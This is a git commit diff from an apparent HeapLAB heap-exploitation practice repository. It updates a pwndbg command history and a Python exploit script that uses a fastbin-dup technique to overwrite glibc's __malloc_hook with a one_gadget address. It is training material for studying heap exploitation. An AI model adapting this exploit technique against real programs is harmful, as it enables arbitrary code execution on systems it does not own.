diff options
| author | Brett Weiland <techcrazybsw@gmail.com> | 2021-01-04 20:25:35 -0600 |
|---|---|---|
| committer | Brett Weiland <techcrazybsw@gmail.com> | 2021-01-04 20:25:35 -0600 |
| commit | 93f5247d9c37732846b0d88136b2ce1908b361be (patch) | |
| tree | 3cfe433d675af35cbb4307daa2badda729cfc420 | |
| parent | 4c06c05f4eaf614ff0dfd4fe0fa62557331d7fb7 (diff) | |
modified: HeapLAB/challenge-fastbin_dup/bruh.py
| -rw-r--r-- | HeapLAB/challenge-fastbin_dup/.gdb_history | 130 | ||||
| -rwxr-xr-x | HeapLAB/challenge-fastbin_dup/bruh.py | 7 |
2 files changed, 71 insertions, 66 deletions
diff --git a/HeapLAB/challenge-fastbin_dup/.gdb_history b/HeapLAB/challenge-fastbin_dup/.gdb_history index 4933f78..7bd5bb8 100644 --- a/HeapLAB/challenge-fastbin_dup/.gdb_history +++ b/HeapLAB/challenge-fastbin_dup/.gdb_history @@ -1,68 +1,3 @@ -c -x 0x7f4854db6b40 -c -x 0x7f4854db6b40 -x main_arena -x &main_arena -x &__malloc_hook -x main_arena.top -db main_arena.top -c -c -c -q -print __malloc_hook -print __malloc_hook -fastbins -c -fastbins -c -vis_heap_chunks -c -fastbins -r -c -fastbins -print main_arena -vis_heap -c -fastbins -fastbins -c -fastbins -r -c - quit -db main_arena -db &main_arena.fastbinsY -q -r -c -c -fastbins -print &main_arena -print main_arena -c -print main_arena -db main_arena -db &main_arena -db &main_arena/100 -db &main_arena 100 -db &main_arena 1000 -q -db main_arena.bins -db &main_arena.fastbinsY -run -c -c -q -r -c -fastbins -c -fastbins -c -fastbins r c c @@ -254,3 +189,68 @@ db 0x7f265fd4cb2d-1 db c db &__malloc_hook-(16) (16*8) +exit +quit +x rsp +print $rsp+50 +print $rsp +print $*rsp +print $rsp +print (void*)$rsp +print (void*)$rsp+50 +print (void*)*$rsp+50 +print (void*)&$rsp+50 +x 0x7ffc1644e71a +print (void*)&$rsp+50 +print (void*)$rsp+50 +print (void*)$rsp+0x50 +x 0x7ffc1644e738 +quit +q +print main_arena +find_fake_fast &__malloc_hook +q +quit +fastbins +find_fake_fast &__malloc_hook +print (void*)&__malloc_hook +q +x &__malloc_hook +db &__malloc_hook-(16) (16*8) +db &__malloc_hook-(16) (17*8) +db &__malloc_hook-(16) (18*8) +db &__malloc_hook-(16) (19*8) +db &__malloc_hook-(16) (20*8) +quit +db &__malloc_hook-(16) (20*8) +db &__malloc_hook-(16) (16*8) +db &__malloc_hook-(16) (20*8) +quit +db &__malloc_hook-(16) (20*8) +find_fake_fast &__malloc_hook +db 0x7fd4a6cf7b2d-(16) (20*8) +q +print main_arena +vis_heap_chunks +db 0x7f37a78ddb7d-(16) (20*8) +db 0x7f37a78ddb7d-(32) (20*8) +quit +db 0x7f37a78ddb7d-(32) (20*8) +db main_arena.top-(32) (20*8) +search 0x7f323f6f0fa1 +search 0x7f323f6f0fa1 +search --help +search --qword 0x7f323f6f0fa1 +search -p 0x7f323f6f0fa1 +search -p 0x0fa1 +search -p 0xa10f +search -hexp 0x7f323f6f0fa1 +search --hex 0x7f323f6f0fa1 +search --hex 7f323f6f0fa1 +search --hex -8 7f323f6f0fa1 +search -8 --hex 7f323f6f0fa1 +search -t qword --hex 7f323f6f0fa1 +search -t qword -x 7f323f6f0fa1 +search -t qword -x 0x7f323f6f0fa1 +search -t qword 0x7f323f6f0fa1 +quit diff --git a/HeapLAB/challenge-fastbin_dup/bruh.py b/HeapLAB/challenge-fastbin_dup/bruh.py index 56b0c71..df54957 100755 --- a/HeapLAB/challenge-fastbin_dup/bruh.py +++ b/HeapLAB/challenge-fastbin_dup/bruh.py @@ -74,9 +74,14 @@ malloc(119, 'sdfg') #8 * 9 -payload_loc = libc.sym.__malloc_hook - 35 +payload_loc = libc.sym.__malloc_hook - 35 #definetly the right thing malloc(119, p64(0)*9 + p64(payload_loc)) +#we now have things in place and shit +onegadget = libc.address + 0xe1fa1 +malloc(72, p64(0)*(35) + p64(onegadget)) + +print("onegadget: {}".format(hex(onegadget))) print("top chunk addr: {}".format(hex(payload_loc))) # ============================================================================= |